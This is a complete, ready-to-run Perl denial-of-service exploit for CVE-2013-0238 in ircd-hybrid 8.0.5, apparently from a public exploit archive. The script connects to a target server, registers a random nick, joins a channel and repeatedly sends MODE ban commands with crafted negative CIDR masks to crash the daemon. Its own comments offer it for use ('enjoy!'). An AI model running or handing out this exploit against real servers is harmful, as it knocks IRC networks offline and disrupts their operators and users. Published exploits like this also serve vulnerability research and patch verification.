ircd-hybrid 8.0.5 - Denial of Service

#!/usr/bin/perl
# ircd-hybrid remote denial of service exploit for CVE-2013-0238
# quick and dirty h4x by kingcope
# tested against ircd-hybrid-8.0.5 centos6
# please modify below in case of buggy code.
# enjoy!

use Socket;

srand(time());
$exploiting_nick = "hybExpl" . int(rand(10000));
    
sub connecttoserver()
{
 $bool = "yes";
 $iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");
 $paddr = sockaddr_in($ircport, $iaddr);
 $proto = getprotobyname('tcp');
 socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");
 connect(SOCK1, $paddr) || {$bool = "no"};
}

sub usage() {
 
 print "usage: ircd-hybrid.pl <target> <port>\r\n";
 exit;
}

$| = 1;
print "----------------------------------------------------------------------\r\nLets have fun!\r\n";
print "----------------------------------------------------------------------\r\n";

if (!defined($ARGV[1])) {
 usage(); 
}

$ircport = $ARGV[1];
$ircserver = $ARGV[0];

print "Connecting to $ircserver on port $ircport...\n";

connecttoserver();

if ($bool eq "no")
{
 print "Connection refused.\r\n";
 exit(0);
}

send(SOCK1,"NICK $exploiting_nick\r\n",0);
send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.hax.net\" :$exploiting_nick\r\n",0);

while (<SOCK1>) { 
 $line = $_;
 print $line;
 if ((index $line, " 005 ") ne -1) {
  goto logged_in; 
 }
 
 if ((index $line, "PING") ne -1) {
  substr($line,1,1,"O");
  send(SOCK1, $line, 0); 
 }
}

logged_in:

print " ok\r\n"; 

print "Sending buffers...\r\n";
$channelr = int(rand(10000));
send(SOCK1, "JOIN #h4xchan$channelr\r\n", 0);
sleep(1);
$k = 0;
do {
print $_;
$k++;
$crashnum = -1000009 - $k * 1000;
send(SOCK1, "MODE #h4xchan$channelr +b *!*\@127.0.0.1/$crashnum\r\n", 0);
} while(<SOCK1>);
 
print "done\r\n";

# EOF